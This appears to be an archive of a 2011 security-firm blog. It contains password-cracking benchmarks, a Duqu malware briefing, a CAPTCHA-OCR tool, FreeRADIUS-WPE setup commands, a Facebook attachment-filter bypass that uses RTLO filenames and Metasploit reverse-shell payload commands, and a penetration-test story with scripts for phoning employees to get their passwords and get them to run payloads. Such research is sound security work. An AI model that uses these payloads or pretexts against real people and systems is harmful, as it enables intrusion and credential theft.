Many salts: 5502K c/s real, 5521K c/s virtual
Only one salt: 5141K c/s real, 5156K c/s virtual

Benchmarking: MySQL 4.1 double-SHA-1 [mysql-sha1]... DONE
Raw: 2713K c/s real, 2722K c/s virtual

Benchmarking: Oracle 11g [oracle11]... DONE
Many salts: 5270K c/s real, 5287K c/s virtual
Only one salt: 4746K c/s real, 4759K c/s virtual

Benchmarking: Oracle [oracle]... DONE
Raw: 929803 c/s real, 932601 c/s virtual

Benchmarking: PHPass MD5 [SSE2 2x4x2 (intr)]... DONE
Raw: 4891 c/s real, 4905 c/s virtual

Benchmarking: PIX MD5 [pix-md5]... DONE
Raw: 6940K c/s real, 6963K c/s virtual

Benchmarking: pkzip [N/A]... DONE
Many salts: 10279K c/s real, 10314K c/s virtual
Only one salt: 7708K c/s real, 7731K c/s virtual

Benchmarking: Raw MD4 [32/64]... DONE
Raw: 9177K c/s real, 9205K c/s virtual

Benchmarking: Raw MD5 [SSE2 16x4x2 (intr)]... DONE
Raw: 8754K c/s real, 8780K c/s virtual

Benchmarking: Raw SHA-1(8x) [SHA-1]... DONE
Raw: 7107K c/s real, 7128K c/s virtual

Benchmarking: md5(unicode($p)) [SSE2 16x4x2 (intr)]... DONE
Raw: 7508K c/s real, 7531K c/s virtual

Benchmarking: Salted SHA(8x) [SHA-1]... DONE
Many salts: 7616K c/s real, 7638K c/s virtual
Only one salt: 6608K c/s real, 6628K c/s virtual

Benchmarking: SAP BCODE [sapb]... DONE
Many salts: 2387K c/s real, 2394K c/s virtual
Only one salt: 2047K c/s real, 2054K c/s virtual

Benchmarking: SAP CODVN G (PASSCODE) [sapg]... DONE
Many salts: 1753K c/s real, 1758K c/s virtual
Only one salt: 1647K c/s real, 1651K c/s virtual

Benchmarking: Generic salted SHA-1 [32/64]... DONE
Many salts: 5175K c/s real, 5191K c/s virtual
Only one salt: 4947K c/s real, 4962K c/s virtual

Benchmarking: Tripcode DES [48/64 4K]... DONE
Raw: 383812 c/s real, 384967 c/s virtual

Benchmarking:  md5_gen(0): md5($p)  (raw-md5)  [SSE2 16x4x2 (intr)]... DONE
Raw: 8783K c/s real, 8809K c/s virtual

Benchmarking:  md5_gen(1): md5($p.$s)  (joomla)  [SSE2 16x4x2 (intr)]... DONE
Many salts: 8105K c/s real, 8130K c/s virtual
Only one salt: 6881K c/s real, 6901K c/s virtual

Benchmarking:  md5_gen(2): md5(md5($p))  (e107)  [SSE2 16x4x2 (intr)]... DONE
Raw: 4504K c/s real, 4517K c/s virtual

Benchmarking:  md5_gen(3): md5(md5(md5($p)))  [SSE2 16x4x2 (intr)]... DONE
Raw: 3028K c/s real, 3037K c/s virtual

Benchmarking:  md5_gen(4): md5($s.$p)  (OSC)  [SSE2 16x4x2 (intr)]... DONE
Many salts: 8218K c/s real, 8246K c/s virtual
Only one salt: 6975K c/s real, 6996K c/s virtual

Benchmarking:  md5_gen(5): md5($s.$p.$s)  [SSE2 16x4x2 (intr)]... DONE
Many salts: 7621K c/s real, 7647K c/s virtual
Only one salt: 6508K c/s real, 6527K c/s virtual

Benchmarking:  md5_gen(6): md5(md5($p).$s)  [SSE2 16x4x2 (intr)]... DONE
Many salts: 9179K c/s real, 9210K c/s virtual
Only one salt: 3980K c/s real, 3992K c/s virtual

Benchmarking:  md5_gen(8): md5(md5($s).$p)  [SSE2 16x4x2 (intr)]... DONE
Many salts: 8335K c/s real, 8363K c/s virtual
Only one salt: 7023K c/s real, 7044K c/s virtual

Benchmarking:  md5_gen(9): md5($s.md5($p))  [SSE2 16x4x2 (intr)]... DONE
Many salts: 8166K c/s real, 8193K c/s virtual
Only one salt: 3772K c/s real, 3783K c/s virtual

Benchmarking:  md5_gen(10): md5($s.md5($s.$p))  [SSE2 16x4x2 (intr)]... DONE
Many salts: 4129K c/s real, 4143K c/s virtual
Only one salt: 3774K c/s real, 3786K c/s virtual

Benchmarking:  md5_gen(11): md5($s.md5($p.$s))  [SSE2 16x4x2 (intr)]... DONE
Many salts: 4150K c/s real, 4164K c/s virtual
Only one salt: 3798K c/s real, 3809K c/s virtual

Benchmarking:  md5_gen(12): md5(md5($s).md5($p))  (IPB)  [SSE2 16x4x2 (intr)]... DONE
Many salts: 4408K c/s real, 4423K c/s virtual
Only one salt: 2623K c/s real, 2631K c/s virtual

Benchmarking:  md5_gen(13): md5(md5($p).md5($s))  [SSE2 16x4x2 (intr)]... DONE
Many salts: 4404K c/s real, 4419K c/s virtual
Only one salt: 2626K c/s real, 2634K c/s virtual

Benchmarking:  md5_gen(14): md5($s.md5($p).$s)  [SSE2 16x4x2 (intr)]... DONE
Many salts: 7626K c/s real, 7649K c/s virtual
Only one salt: 3795K c/s real, 3806K c/s virtual

Benchmarking:  md5_gen(15): md5($u.md5($p).$s)  [64x2 (MD5_Body)]... DONE
Many salts: 9853K c/s real, 9883K c/s virtual
Only one salt: 4757K c/s real, 4772K c/s virtual

Benchmarking:  md5_gen(16): md5(md5(md5($p).$s).$s2)  [64x2 (MD5_Body)]... DONE
Many salts: 5344K c/s real, 5362K c/s virtual
Only one salt: 3170K c/s real, 3179K c/s virtual

Benchmarking:  md5_gen(17): phpass ($P$ or $H$)  [SSE2 2x4x2 (intr)]... DONE
Raw: 4902 c/s real, 4915 c/s virtual

Benchmarking:  md5_gen(18): md5($s.Y.$p.0xF7.$s) (Post.Office MD5)  [64x2 (MD5_Body)]... DONE
Many salts: 4341K c/s real, 4354K c/s virtual
Only one salt: 3981K c/s real, 3993K c/s virtual

Benchmarking:  md5_gen(19): Cisco PIX (MD5) [SSE2 16x4x2 (intr)]... DONE
Raw: 7481K c/s real, 7503K c/s virtual

Benchmarking:  md5_gen(20): Cisco PIX (MD5 salted) [SSE2 16x4x2 (intr)]... DONE
Many salts: 8171K c/s real, 8196K c/s virtual
Only one salt: 6907K c/s real, 6928K c/s virtual

Benchmarking:  md5_gen(21): HTTP Digest Access Auth [SSE2 16x4x2 (intr)]... DONE
Many salts: 2027K c/s real, 2033K c/s virtual
Only one salt: 1960K c/s real, 1966K c/s virtual

Benchmarking:  md5_gen(22): md5(sha1($p)) [SSE2 16x4x2 (intr)]... DONE
Raw: 3391K c/s real, 3401K c/s virtual

Benchmarking:  md5_gen(23): sha1(md5($p)) [SSE2 16x4x2 (intr)]... DONE
Raw: 3223K c/s real, 3233K c/s virtual

Benchmarking:  md5_gen(24): sha1($p.$s) [SSE2 16x4x2 (intr)]... DONE
Many salts: 6076K c/s real, 6094K c/s virtual
Only one salt: 5242K c/s real, 5258K c/s virtual

Benchmarking:  md5_gen(25): sha1($s.$p) [SSE2 16x4x2 (intr)]... DONE
Many salts: 5946K c/s real, 5964K c/s virtual
Only one salt: 5315K c/s real, 5331K c/s virtual

Benchmarking:  md5_gen(26): sha1($p) raw-sha1 [4x2]... DONE
Raw: 6373K c/s real, 6393K c/s virtual

Benchmarking:  md5_gen(27): FreeBSD MD5 [SSE2 4x2 (intr)]... DONE
Raw: 9502 c/s real, 9531 c/s virtual

Benchmarking:  md5_gen(28): Apache MD5 [SSE2 4x2 (intr)]... DONE
Raw: 9456 c/s real, 9485 c/s virtual

Benchmarking:  md5_gen(29): md5(unicode($p)) [SSE2 16x4x2 (intr)]... DONE
Raw: 7411K c/s real, 7436K c/s virtual

Benchmarking: md5_gen(1001) md5(md5(md5(md5($p)))) [SSE2 16x4x2 (intr)]... DONE
Raw: 2270K c/s real, 2278K c/s virtual

Benchmarking: md5_gen(1002) md5(md5(md5(md5(md5($p))))) [SSE2 16x4x2 (intr)]... DONE
Raw: 1823K c/s real, 1829K c/s virtual

Benchmarking: md5_gen(1003) md5(md5($p).md5($p)) [64x2 (MD5_Body)]... DONE
Raw: 2896K c/s real, 2905K c/s virtual

Benchmarking: md5_gen(1004) md5(md5(md5(md5(md5(md5($p)))))) [SSE2 16x4x2 (intr)]... DONE
Raw: 1523K c/s real, 1528K c/s virtual

Benchmarking: md5_gen(1005) md5(md5(md5(md5(md5(md5(md5($p))))))) [SSE2 16x4x2 (intr)]... DONE
Raw: 1308K c/s real, 1312K c/s virtual

Benchmarking: md5_gen(1006) md5(md5(md5(md5(md5(md5(md5(md5($p)))))))) [SSE2 16x4x2 (intr)]... DONE
Raw: 1145K c/s real, 1149K c/s virtual

Benchmarking: md5_gen(1008) md5($p.$s) [joomla] [SSE2 16x4x2 (intr)]... DONE
Many salts: 8105K c/s real, 8130K c/s virtual
Only one salt: 6868K c/s real, 6889K c/s virtual

Benchmarking: Raw SHA-224 [32/64]... DONE
Raw: 2577K c/s real, 2584K c/s virtual

Benchmarking: Raw SHA-256 [32/64]... DONE
Raw: 2600K c/s real, 2608K c/s virtual

Benchmarking: Raw SHA-384 [64/64]... DONE
Raw: 2054K c/s real, 2061K c/s virtual

Benchmarking: Raw SHA-512 [64/64]... DONE
Raw: 2054K c/s real, 2060K c/s virtual

Benchmarking: Mac OS X 10.7+ salted SHA-512 [64/64]... DONE
Many salts: 2098K c/s real, 2104K c/s virtual
Only one salt: 2056K c/s real, 2062K c/s virtual

Benchmarking: hmailserver [32/64]... DONE
Many salts: 2607K c/s real, 2614K c/s virtual
Only one salt: 2488K c/s real, 2495K c/s virtual

Benchmarking: sybasease [32/64]... DONE
Many salts: 344041 c/s real, 345076 c/s virtual
Only one salt: 341478 c/s real, 342505 c/s virtual

Benchmarking: generic crypt(3) [?/64]... DONE
Many salts: 405132 c/s real, 406351 c/s virtual
Only one salt: 403443 c/s real, 404657 c/s virtual

Benchmarking: ssh [32/64]... DONE
Raw: 268979 c/s real, 269878 c/s virtual

Benchmarking: pdf [32/64]... DONE
Many salts: 22014 c/s real, 22087 c/s virtual
Only one salt: 45401 c/s real, 45537 c/s virtual

Benchmarking: rar [32/64]... DONE
Raw: 48.2 c/s real, 48.3 c/s virtual

Benchmarking: zip [32/64]... DONE
Raw: 766 c/s real, 769 c/s virtual

Benchmarking: dummy [N/A]... DONE
Raw: 126288K c/s real, 126710K c/s virtual
    

Wrap up

Like many installations, we ran into a couple of road bumps starting out, but now our server is looking good. Before we make it live, we'll lock down the user permissions, roles, and set up a few cron jobs to keep the system tidy.

What do you think? Got any tips for our rig? Have a few pointers from your own experiences? Drop us some info in the comments below.

Wednesday, November 23, 2011

File Carving!

By Christiaan Beek.

File Carving’ or sometimes simply "carving", is the process of extracting a collection of data from a larger data set. Data carving techniques frequently occur during a digital investigation when the unallocated file system space is analyzed to extract files. There are many carving techniques and tools available that can be used to investigate disk/removable-media images. For example after many years, an update of the famous carving tool 'Scalpel' was just released.

However these tools are not by default useful when investigating a dump from a cell-phone because every mobile-phone vendor has its own way for storing data into the phone memory. There's even a difference between the phone models. A different approach and development of tools is necessary.

For reading more about file carving basics,techniques and challenges, read my new whitepaper:

Tuesday, November 22, 2011

A Duqu Briefing

By Narainder Chandwani.

Background

The landscape of malware has drastically changed in the last few years. It has hardly been a year since the security community identified Stuxnet, which some believe was the most menacing malware in history… And now we have Duqu making the news. The Laboratory of Cryptography and System Security (CrySyS) at Budapest University of Technology and Economics identified a worm on October 14th 2011 and named the threat Duqu [dyü-kyü] because it creates files with the name prefix “~DQ”.

Duqu carries build dates of February 2008 and its drivers go back to August 2007. From this it would appear to seem that its creators have worked on the code for at least 4 years. The driver was most likely created specifically for Duqu by the group responsible for the attacks. It is also believed that the Duqu team had access to the Stuxnet code or both pieces of malware were authored by the same team. Duqu is far more sophisticated than Stuxnet and corrects a number of the mistakes that were observed in Stuxnet. Duqu unlike stuxnet is not self replicating.

Although CrySys first detected the Duqu worm in October 2011, traces of it can be dated back to April of 2011. This corresponds to when Iran detected a virus and called it ‘Stars’. Researchers in Iran only found a key logger along with a photo of the NGC 6745 galaxy.

Many organizations have fallen victim to Duqu. The names of the organizations have not been revealed but it is believed that corporations in Austria, Iran, Sudan and America have been its victims. Further, each instance of Duqu identified has been a variant. Each of the dozen Duqu binary’s are part of a multifunctional framework which is able to work with any number of any modules. Duqu is thus highly customizable and designed to evade easy detection. Duqu attacks also appear to have been custom-created with the set of files compiled immediately before the malware was aimed at a target. The differences between two Duqu attacks while relatively minor, do contain unique files tailor-made for each operation. The names of registry keys and files used are also different, often with unnecessary code removed from each version. Each and every attack had its own command-and-control [C&C] server, with its location embedded in the configuration of the malware. Location of C&C server changes with every attack. In the past few weeks, C&C servers have been identified at various places like Mumbai and Belgium and have been brought down promptly.

Vulnerability & Exploit

Duqu’s purpose is to gather intelligence data and assets from entities. It looks for information such as design documents that could help mount a future attack on various industries. It uses a Microsoft’s Window kernel 0 day vulnerability. Microsoft confirmed that the Duqu campaign exploits a vulnerability in a Windows kernel-mode driver specifically "W32k.sys," and its TrueType font parsing engine to gain rights on the compromised PC sufficient and install the malware. The font exploited is called Dexter Regular and has been created by Showtime Inc. This seems to be in references to the television series Dexter the Showtime cable channel.

All the attacks have involved a social engineering aspect in it. An individual at a victim’s organization receives an email with a Microsoft Word document attachment. Once the attachment is opened, the exploit starts working. The exploit does not do anything unless there is no keyboard or mouse activity for ten minutes. The exploit has 3 components i.e. a driver, DLL library, and a configuration file. Different instances of Duqu found have had different drivers as well as the main DLL file. In general, however the exploit process is for the driver to be loaded initially which then injects the main DLL into services.exe. The DLL in turn then references the configuration file to obtain the customized exploit information.

Remediation

While Microsoft has yet to patch the bug, it has urged customers to disable the font parser to protect themselves. Microsoft pushed out an emergency workaround on the 3rd of November, 2011 which shuts off access to T2EMBED.DLL, the dynamic link library that allows applications to display TrueType fonts. Besides this, CrySys has also come up with a toolkit to detect Duqu infections on a computer or on the whole network.


It was observed that the driver igdkmd16b.sys has a new encryption key with every install, which means that existing detection methods of known PNF files (main DLL) are rendered useless. Further the DLL itself is encoded differently in every single attack. Existing detection methods from the majority of anti-virus vendors are able to successfully detect Duqu drivers, but the main DLL component often goes undetected due to these stealth measures.

All being said, some of the ways to protect oneself against Duqu are:

1. Install the hotfix released from Microsoft
2. Run the toolkit from CrySys to detect Duqu infected computers/networks.
3. Beware of malicious Microsoft Word documents from strangers or unexpected sources.
4. Monitor your network traffic for files that bear the ~DQ files extension.
5. Run updated anti-virus software

Tuesday, November 15, 2011

CAPTCHA Hax with TesserCap

By Gursev Kalra.

With the goal of creating a tool that can help security professionals and developers to test their CAPTCHA schemes, I conducted a research on over 200 high traffic websites and several CAPTCHA service providers listed on Quantcast’s Top 1 Million Ranking Websites.

During the same time frame, students at the Stanford University also conducted a similar research (PDF). Both research works concluded the obvious:

An alarming number of CAPTCHAs schemes are vulnerable to automated attacks.

I looked around, tested and zeroed in on Tesseract-OCR as my OCR engine. To remove color complexities, spatial irregularities, and other types of random noise from CAPTCHAs, I decided to write my own image preprocessing engine. After a few months of research, coding and testing in my spare time, TesserCap was born and is ready for release now.


TesserCap is a GUI based, point and shoot CAPTCHA analysis tool with the following features:
  1. A generic image preprocessing engine that can be configured as per the CAPTCHA type being analyzed.
  2. Tesseract-OCR as its OCR engine to retrieve text from preprocessed CAPTCHAs.
  3. Web proxy support
  4. Support for custom HTTP headers to retrieve CAPTCHAs from websites that require cookies or special HTTP headers in requests
  5. CAPTCHA statistical analysis support
  6. Character set selection for the OCR Engine
An example TesserCap image preprocessing and run on Wikipedia (Wikimedia’s Fancy CAPTCHA) is shown below:

Downloads

TesserCap and it's user manual can be downloaded from one of the following locations:


Results

The two tables below summarize the CAPTCHA analysis performed using TesserCap for few popular websites and some CAPTCHA service providers. All these tests were performed using TesserCap’s image preprocessing module and Tesseract-OCR’s default training data. This accuracy maybe further increased by training the Tesseract-OCR engine for the CAPTCHAs under test.


Website Accuracy* Quantcast Rank
wikipedia 20-30% 7
ebay 20-30% 11
reddit.com 20-30% 68
CNBC 50+% 121
foodnetwork.com 80-90% 160
dailymail.co.uk 30+% 245
megaupload.com 80+% 1000
pastebin.com 70-80% 32,534
cavenue.com 80+% 149,645


CAPTCHA Provider Accuracy*
captchas.net 40-50%
opencaptcha.com 20-30%
snaphost.com 60+%
captchacreator.com 10-20%
www.phpcaptcha.org 10-20%
webspamprotect.com 40+%
ReCaptcha 0%



OpenCaptcha





OpenCaptcha




OpenCaptcha



Reddit



eBay

Thursday, November 10, 2011

FreeRADIUS-WPE Updated!

By. Brad Antoniewicz

A couple years ago Josh Wright and myself created FreeRADIUS-WPE (Wireless Pwnage Edition) for attacking WPA-Enterprise clients. It doesn't always need to be updated, because FreeRADIUS is a pretty solid RADIUS server, however I was recently contacted about WPE not working well with clients using Windows 7's supplicant. Rather than troubleshoot the problem using the old version, I updated the patch to support the most recent FreeRADIUS release.

http://www.opensecurityresearch.com/files/freeradius-wpe-2.1.11.patch
http://www.opensecurityresearch.com/files/freeradius-server-wpe_2.1.11-1_i386.deb

I've also created a github repo @ https://github.com/brad-anton/freeradius-wpe

A quick note

Under "Advanced settings", "802.1X settings" there is a "Specify Authentication mode" option (shown in the image below). This the default value is unchecked. I've noticed that unless this option is checked and the drop down is set to "User or computer authentication", or "User Authentication", FreeRADIUS just denies the connection. I'm looking into if there is any way to address that but as of now, this setting has to be set in order to reliably work.

Installation from Source

wget ftp://ftp.freeradius.org/pub/radius/old/freeradius-server-2.1.11.tar.bz2
wget http://www.opensecurityresearch.com/files/freeradius-wpe-2.1.11.patch

tar -jxvf freeradius-server-2.1.11.tar.bz2
cd freeradius-server-2.1.11
patch -p1 < freeradius-wpe-2.1.11.patch

./configure
make
sudo make install

You may also have to:


cd /usr/local/etc/raddb/certs/
./bootstrap



Using Binary


If you're using the .deb, it has been tested with BackTrack 5 R1, but will likely work with other versions and Ubuntu/Debian.

wget http://www.opensecurityresearch.com/files/freeradius-server-wpe_2.1.11-1_i386.deb

sudo dpkg --install freeradius-server-wpe_2.1.11-1_i386.deb
sudo ldconfig 


You may also have to:


cd /usr/local/etc/raddb/certs/
./bootstrap

Tuesday, November 8, 2011

Facebook Attachment Vulnerability Revisited

By Glenn P. Edwards Jr.

Recently it was reported that Facebook had a vulnerability which allowed you to send an executable file via Facebook messaging.

Vulnerability? Maybe more just a bad security practice or some error in the way it checked attachments. But since you do not need to be friends with someone in order to send them a message (unless you beef up your security settings) the risk increases. The researchers captured the traffic being sent to Facebook when they tried sending an attachment and figured out that Facebook seemed to only reject attachments based solely on looking at their file extensions – hence by simply doing something such as adding a space after the file’s extension it would bypass the attachment check. For instance:

i.e. ‘malware.exe ‘


Facebook downplayed this finding but later seemed to silently fix the issue. If you look at their official statement you’ll notice they stated “…we are not going to rely solely on string matching as a protective measure, since zip files and other things could also have unpredictable behaviors when sent as an attachment. We are AV scanning everything that comes through as a secondary measure, so we have defense in depth for this sort of vector. “ (more on that later)

Can you think of a person that you know that doesn’t have a Facebook account, or at least someone you know that does have one? Scary isn’t it?

The researchers who brought this to attention add to the recent waves of public disclosure showing there’s a trend amongst large companies putting security second. Is it absolutely necessary to send attachments via Facebook or is it just a bloated feature which will do more harm than good? Will most users tamper with the HTTP POST and alter the data being sent to trick a user? Not your everyday user, but for a pentest/red team/nation states of course. It doesn’t matter anyway because Facebook fixed it and we are all safe, right?

Re-visiting Facebooks attachment ‘fix’

I figured I should first start out by verifying that we can’t simply modify the HTTP POST content as previously disclosed.
  1. Capture the HTTP POST content - Once logged into Facebook, I fired up the Tamper Data add-on and choose to tamper the request made when you choose to upload a file via Facebook messaging.
  2. Alter the POST content - According to the other researchers all you had to previously do was add a space to the end of the file. After catching the HTTP POST request with Tamper Data the content being submitted to Facebook looks like the following:


    I copied this content out of Tamper Data and altered it within Notepad so I could insert the space after the file extension (To make things easier I highlighted the space I inserted). Also take note of the line ‘Content-Type: application/octet-stream\r\n\r\n\MZ’ … Facebook appears to be doing some file classification as it properly pinpoints it as an application with the file header MZ. After re-inserting the tampered content to submit back to Facebook, it appears this was fixed since I got the big fail notice:

    Score: +1 Facebook
I was curious to see if I could simply alter the ‘Content-Type’ field so I uploaded a legitimate .txt file and observed facebook marks it as :

Content-Type: text/plain\r\n\r\n\r\n

The part of the request that I changed is highlighted below:

Did it work? Nope…


Score: +2 Facebook


Alright… so maybe Facebook is doing another check on the backend to verify that the file extension, content type and file header (if available) match. Well I’m a nosey/curious person so let’s test it out.

RTLO

Have you ever heard of Right-to-Left-Override (RTLO)? RTLO is Unicode character (U+202E) and exists to support languages which are written from right to left such as Arabic and Hebrew. While RTLO is among the most commonly known there are similar characters such as the Left-to-Right-Overide (LTRO) Unicode character which is what I’ll use in the following example. Most people are still unaware of such characters but using them is a technique that’s been observed with malware in order to depict a false sense of what the file actually is.

I happened to be on Backtrackv5 when I did this but there’s nothing prohibiting you from doing it on another platform/distro. Since Backtrack didn’t seem to have a character map I had to install one:


$ apt-get install gucharmap



As you can see from above, if you search for “U+202E” you’ll land on the RTLO Unicode character, same thing for “U+202D”.

Since Facebook stated they use A/V to scan the attachments I thought I’d try to incorporate a file format exploit instead of a standalone EXE (make it a little more work on their end). Within Backtrack I loaded up Metasploit and created a payload the following way:


$ cd /pentest/exploits/framework2
$ msfpayload windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT R | msfencode –t exe >> awsnap.exe


Once I had my meterpreter payload I jumped into the Social Engineering Toolkit (SET)


$ cd /pentest/exploits/set
$ ./set


And chose the following options:
  • Social-Engineering Attacks
  • Spear-Phishing Attack Vectors
  • Create a File Format Payload
  • Adobe PDF Embedded EXE Social Engineering
  • Build In BLANK PDF (it’ll suffice for a PoC)
  • Windows Meterpreter (reverse TCP)
  • IP – 127.0.0.1
  • Port – default
  • Chose my previously generated ‘awsnap.exe’ payload
  • Renamed PDF file format to ‘awsnap.pdf’
* Default location to save to is /root/pentest/exploits/set/src/program_junk

I proceeded to rename to the following file name format ‘alexe(LTRO).txt’
The renamed file within BackTrack explorer view:


The renamed file within a Windows 7 explorer view:


Prior to testing this file within Facebook I wanted to get some basic information on it:
  1. File identification based on magic number and MD5 hash:
  2. Viewed this file within a hex editor to verify that the beginning of the file contained the file header of an EXE:

    It was generated from a popular security tool so let’s see how it holds up as it currently is against some A/V venders:

    Did you notice the text being displayed from Virustotal is backwards? No it’s not your mind playing tricks on you... it also gets fooled with RTLO/LTRO

    After it was scanned only 58% (most popular companies found it) detected it as something questionable. – side rant… why isn’t fuzzy hashing incorporated into A/V ?? anyone? Code re-use isn’t hard to detect and helps find variants people.

    Let’s get back to Facebook and try to attach it within a message. After capturing the HTTP POST content again I noticed that the ‘Content-Type’ field states it’s a ‘text/plain’ file but if you notice towards the end it still found the file’s header “MZ”.

    Moment of truth…. did it work? Yup. Here’s the message with the EXE successfully attached as well as Facebook also having a hard time dealing with the reverse character order for the name/file size:

    Score: +1 the little guy


    Below is the victim’s Facebook inbox to show that the message was in fact transmitted and successfully received by the victim.

Conclusion

What can we take away from this?
  • They aren’t really scanning attachment files or they aren’t using one of the popular A/V programs that originally flagged this file as questionable
  • They aren’t verifying that the Content-Type and the file header match
  • There’s no actual checking of the contents of the file – as we know from opening this file up within a hex editor that the file header is clearly there and identifiable.

Now for the skeptics who are wondering if the contents of the file were modified during transit – the answer is no. It doesn’t appear as though anything was changed or stripped from this file:

MD5 of the file once downloaded from the victim’s Facebook which matches its MD5 hash prior to sending:

Header of the file once the victim downloaded it:
It’s understandable for a company like Facebook to say solely sending a file isn’t what leads to a compromise – there’s some social engineering and user interaction which must take place. However, they’re not helping…. and when someone says they’ve fixed something, don’t always believe them until you can verify it for yourself.

About the author

Glenn P. Edwards Jr. is a Senior Consultant with Foundstone’s Incident Response practice where he specializes in Digital Forensics, Malware Analysis and Intrusion Detection.

Update:

To clear a few things up – this was meant as a PoC that you could still attach an executable file to a Facebook message and try to see what types of checks/scanning of attachments Facebook was actually doing. Since the particular example I showed alters the file type, the file _should_ execute with the default application to handle that file extension (i.e. since Windows thinks it’s a Text Document, notepad or whatever is set for that file extension on the target system will try opening the file.). With that being said, I don’t believe this to downgrade its potential but just something to note. The previous researchers showed adding a space to the end of the EXE and sending the file – what is unknown is when that file is downloaded by the victim how the file name appears. Based on what I observed, it should be intact and if that’s the case then Windows shouldn’t recognize what type of file it is because it has an unknown/invalid file extension which means it too wouldn’t execute right away either without having its name modified.

There are other possibilities that weren’t tried such as just doing a RTLO and changing the icon/resource section of the EXE. By doing this, it would still appear as an application but again look like something else but the only difference is how the system would handle that particular file type.

Tuesday, November 1, 2011

Just That Easy: Real World Pen Testing Attack Vectors [Part 1]

By Brad Antoniewicz
Original Report by Tony Lee and Robert Portvliet

Although conferences, news articles, and everyday conversations make attacks on large organizations seem so simple, it may be hard to believe that these things work. The goal of this series of blog posts is to demonstrate the closest thing to getting "real world" without committing a crime.

This is an attack vector of an actual penetration test…

..and although every step was calculated and creativity was used in some areas, the fundamental concepts are all straight out of any hacking book you'd find on the shelf

Information Gathering

Goal: Employee Information


The information gathering phase on this assessment was primarily conducted to gain information about the employees of the organization. The two most valuable resources for us were:
  1. Google/LinkedIn - "site:linkedin.com CompanyName"
  2. Company's Website

Utilizing these two resources, it took us about a day to learn the organization's business, locations, and build a list of employee names and email addresses that could be used in other attacks later on. Taking time to learn about the organization makes it easier to craft more targeted and believable attacks. Here's just some of what we found:

  • Employee Names - LinkedIn returned a good number of employee’s names, job titles, interests, and some email addresses while the company website had just a handful of press related contacts. One particularly useful piece of information was the name of an ex-employee. It was a good ice breaker when we called another employee and helped us build good rapport and trust with the victim employee.
  • Email Addresses - Although we initially only identified a small number of valid email addresses, this proved to be enough. From the few we found, it was trivial to deduce the naming convention and apply it to the names found on LinkedIn (e.g. FirstinitialLastname@CompanyName.com.)
  • Company Addresses and Phone Numbers - The company had a convenient "location finder" on the website which gave us the phone numbers and addresses for all of their locations.
  • Valid Username Combinations - The company's website also had an employee login section which permitted account harvesting via the password reset page. It helped us confirm some employee names and gave us insight into username naming conventions.

Social Engineering

Goal: Gain Employee Credentials by directly asking for them (say what?)

To gain more information about the networks, systems, and employees, we picked a handful of users to target. We asked for items of interest such as:
  1. Job function
  2. Location (City, state)
  3. IP Address
  4. Host name
  5. Windows Domain
  6. Domain Controller
  7. Username
  8. Password
Normally we will not ask a user for their username or password, however the client requested it for year over year tracking purposes. If we must ask for this, we generally try to solicit information with little variation from the order above (as it goes from least intrusive to most intrusive) but, most importantly, we almost never ask for the username/password until the end, unless we have the victim really comfortable. Couple hints:
  • Building Trust - The more the victim speaks, the more comfortable they are. Let them talk.
  • Script - Build a script. Come up with answers to everything you can think of. Take your time between asking questions, be courteous when asking for it.
  • Caller ID Spoofing - Always helps to spoof your Caller ID to be an internal number
Here's an abbreviated version of our script:
  1. "Hello, this is (made up name) from the (headofficelocationname) compliance team.” Wait for a response. Often, the user will have an outstanding issue and begin asking about it. This can be very useful for building trust.
    • Note: If challenged - "I am completing this task for Heidi Montag in the Information Security Department"
  2. If the user does not ask for any immediate assistance, say "We're calling to ensure that your PC and user account are in compliance with our guidelines. Do you have a few minutes to help us out?"
    • Wait for the victim to respond. If they don't have a few minutes, thank them and move on to the next call.
  3. Ask them "Are you in front of your computer?"
    • Wait for the person to respond. If they are not, thank them and end the call.
  4. Say "Great. Now, have you noticed any problems with your computer lately? For instance, have you had problems logging on? Or has it been especially slow?"
    • Wait for the client to respond. Very often there will be something wrong. Ask them to explain any problems. Say that what you are calling about may be related. If there is no issue, simply continue.
  5. Say "OK, I'm going to ask you to run a few simple commands and read back the results to me. You are running windows, right?"
    • Wait for them to respond to the question. Obviously change the question (and the rest of the test) if they are using a different OS.
  6. Say "Fantastic. I'd like to ask you to click on the start button, and then click Run". Wait for confirmation.
  7. Say "Ok, now type in the letters C-M-D and press enter." Pause. Say "You should see a console with a blinking cursor." Wait for confirmation.
  8. Say "Type in the letters I-P-C-O-N-F-I-G. Ipconfig. Press enter".
--- snip --- You can see where this is leading. We made eight calls over two days. First day all six victims provided everything up to the username, and three actually gave us passwords. Day two we just made two calls, and both targets were somehow tipped off to what we were doing. If you think you have been tipped off, this could be to your advantage… Change the attack to a phone call warning users of a phishing attempt and have them navigate to a special website to ensure that they have not been compromised—afterall safety first! Also remember if someone refuses to give you their password – don’t push since that will cause them to alert someone.

Goal: Enticing Users to a Website

Asking a user to navigate to a website can be a nice and indirect way to have them give you access to their system. For instance, you can have the website present them with a username/password prompt and ask them to log into it, or you can be as aggressive as we were here. We simply put out a Metasploit Java Applet Browser Payload using SET on a domain we registered (test-companyname.com). When the user navigates to the site, they're prompted to accept the applet and it connects back to the handler on our attack system. The social engineering script is pretty similar to the above, however this time we'll introduce ourselves as someone from the web team:
  1. Say to the user "Hello, this is (made up name) from the (companyname) web development team.”
    • Wait for a response. Often, the user will have an outstanding issue and begin asking about it. This can be very useful for building trust.
  2. If the user does not ask for any immediate assistance, say "We're calling to test the web accelerator and we're asking for user's to perform a quick test. Do you have a few minutes?"
After some schmoozing, we can ask them to go our website:
  1. Say "OK, I'm going to need you to go to our test our new site. Are you running windows?"
    • Wait for them for respond to the question. It should be ok if they are running Linux, Mac, or Windows as long as you have handlers set up for each operating system.
  2. Say "Fantastic. I'd like you to open your web browser and surf to: www.test-companyname.com". Wait for confirmation.
  3. Say "When you get the pop-up that says RUN or CANCEL, just click run. That is the web accelerator that we have worked so hard on to make your Internet faster”
  4. Confirm that they have clicked run. “If you see the pop-up again, simply click RUN again. If you don’t get it again the accelerator is installed correctly."
    • NOTE: If A/V flags: “Don’t worry about the antivirus, we have worked with Microsoft [the applet states its signed by microsoft] to develop this accelerator and we are currently troubleshooting that issue.”
This technique is highly successful because you are not asking a user for a username or password. You are only asking them for a little bit of their time and to click a few buttons. We only targeted one user with this method and they fell for it (100% success rate!).

Phishing

Goal: Internal Access via Employees

With a pretty decent sized email list pulled together, we created a phish to entice users to connect to our malicious site. The internal mail servers were filtering our spoof @companyname.com messages so we just sent the emails from the test-companyname.com domain which we created. Over the course of 3 days we sent emails out to a number of different users and each day we changed the phish:
